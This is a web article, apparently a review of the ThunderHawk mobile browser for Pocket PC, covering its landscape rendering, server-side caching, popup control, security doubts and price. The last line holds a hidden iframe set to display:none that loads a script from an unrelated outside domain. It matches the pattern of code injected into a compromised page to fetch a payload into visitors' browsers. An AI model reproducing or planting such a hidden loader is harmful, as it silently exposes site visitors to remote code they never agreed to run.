These days, mobile devices with wireless Internet are common place. With the recent launch of the Samsung i700 and the popularity of the T-Mobile XDA and the AT&T Siemens SX-56, browsing the Internet from the airport, the shopping mall, or from within a business meeting is a frequent occurrence. One of the most common complaints about browsing the Internet on a Pocket PC is that the small, vertical screen does not render web pages accurately. For example, loading the Amazon.com home page on a typical Pocket Internet Explorer window looks much like the image below.

[img]images/review-thunderhawk-amazon-01.jpg[/img]

As you can see, viewing the Amazon.com home page with Pocket Internet Explorer only shows you a small corner of the page. Searching and displaying results is quite difficult as you can only see a very small portion of the page at once. Once the page loads, scrolling is quick, however, you will often need to scroll up, down, left, and right several times to view all of the information on the page. Most PDA screens are a mere 320 x 240 resolution. That isn’t enough to display a significant portion of most web pages.

Browsing with Thunderhawk

If Pocket Internet Explorer has you ready to give up browsing the Internet wirelessly, don’t give up and run, don’t walk to www.bitstream.com/wireless. Bitstream produces ThunderHawk, a mobile web browser that runs on both Windows CE 3.0 and Pocket PC 2000 or higher. ThunderHawk renders web pages in a 640 x 480 resolution, eliminating the need for horizontal scrolling. ThunderHawk takes the HTML content of a website and displays it in landscape mode on your Pocket PC using their Wireless Font Set, which displays small but readable fonts on just about any Pocket PC display. Most conventional browser plug-ins are supported, enabling users to view web pages that previously were impossible to view on a Pocket PC.

All HTML content is sent through Bitstream's ThunderHawk server, which converts conventional HTML into landscape mode on a Pocket PC's 320-by-240 resolution display. A view of Amazon’s home page as seen through ThunderHawk is shown below.

[img]images/review-thunderhawk-amazon-02.jpg[/img]

ThunderHawk is relatively easy to use and can be used with either a wireless or wired Internet connection. Loading ThunderHawk over Verizon’s Express Network connection produced a splash screen for approximately 10 seconds. During that time, the browser does not appear to be doing anything so impatient users might think the application is frozen, but rest assured, it will load after the 10 seconds are up. From ThunderHawk’s main screen, you can learn about the program, purchase a subscription, upgrade, access your account, or contact Bitstream.

A button click on your PDA brings up the ThunderHawk toolbar, keyboard, and address bar. The particular button needed varies per PDA. On the Samsung i700, the Calendar button does the trick. Once the toolbar, keyboard, and address bar are displayed, as shown in the next figure, you can use the supplied keyboard to enter a URL.

[img]images/review-thunderhawk-01.jpg[/img]

ThunderHawk can access all of your favorites stored in Pocket Internet Explorer. Just click the Favorites button on the ThunderHawk toolbar to bring up a list of your favorites. Click an entry and it will load in the ThunderHawk browser. ThunderHawk has some minor problems displaying web pages with horizontal frames, as shown in the following figure.

[img]images/review-thunderhawk-02.jpg[/img]

This is one of the few cases of a website that actually renders better in Pocket Internet Explorer. It’s very difficult to see the top frame in the ThunderHawk rendition, yet the top frame appears clearly in Pocket Internet Explorer.

[img]images/review-thunderhawk-pie.jpg[/img]

One of the best features of ThunderHawk is its ability to control the behavior of popups. When accessing a website that wants to open a popup window, ThunderHawk informs you that the site is trying to open two windows. You can choose whether to open the original window or the new window. The new window is usually the popup window.

ThunderHawk’s speed is a bit faster than Pocket Internet Explorer. Since web pages viewed through ThunderHawk must be transmitted to ThunderHawk’s servers, rendered, then fed to your device, this is a great accomplishment. Images are displayed accurately and even online maps display quite legibly.

When entering information in text boxes on web pages, clicking in the text box displays ThunderHawk’s keyboard. I personally found the keyboard easier to use than the Pocket PC’s default keyboard. Since the keyboard is displayed horizontally across the screen, it’s easier to use the stylus to tap the keys. When preparing to enter a new URL, I found I wanted to use the stylus to drag the URL and highlight a portion, but that functionality isn’t supported in ThunderHawk. Despite that limitation, I found entering URLs to be quick and painless.

How it Works

When displaying web pages, ThunderHawk caches the entire web site on their server. They then determine the portion of the website that will display on your screen and send only that portion to your device. This enables pages to load quicker. Since the page is initially rendered on their server, the majority of the processing happens there, rather than on your Pocket PC.

When using Pocket Internet Explorer, or your desktop browser, you will have a wait time while the page is loaded and rendered, and then you can scroll around on the page without any lag time. Thunderhawk behaves differently to some degree. Only the information you see in your window is sent to your device. If you scroll on the page, a new transmission is required to fetch the part of the page that you can't see initially. The rendering has already taken place and the page is cached on the Bitstream server, so the lag is minimal, but still a different behavior than what you are familiar with in other browsers.

There are some security questions Bitstream has not adequately addressed. For example, since they support browsing of a secure site, and we know that all content is first rendered on their servers, it’s likely that the content is actually decrypted on the server and then re-encrypted when sent to your device. If you’re using ThunderHawk to access your bank accounts, you might be a bit concerned about your data residing on ThunderHawk’s servers. I’ve asked Bitstream for some information about how they ensure user’s data remains secure. Stay tuned for an update.

Conclusion

Pros

• High quality, small fonts enable easy reading of text.
• Images are rendered on Thunderhawk's server, speeding load time.
• Shared Favorites between Thunderhawk and Pocket Internet Explorer.
• Easy to block popups.
• Horizontal keyboard is easier to use than standard Pocket PC keyboard.

Cons

• Over a slow connection, some scroll lag can occur.
• No concrete information available on security of encrypted web pages.
• Horizontal frames occasionally do not display properly.

ThunderHawk is available via download from Bitstream’s website. A 30 day unlimited use evaluation version is available. If you wish to continue to use the software after that, it is available on a subscription basis for $49.95/year.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>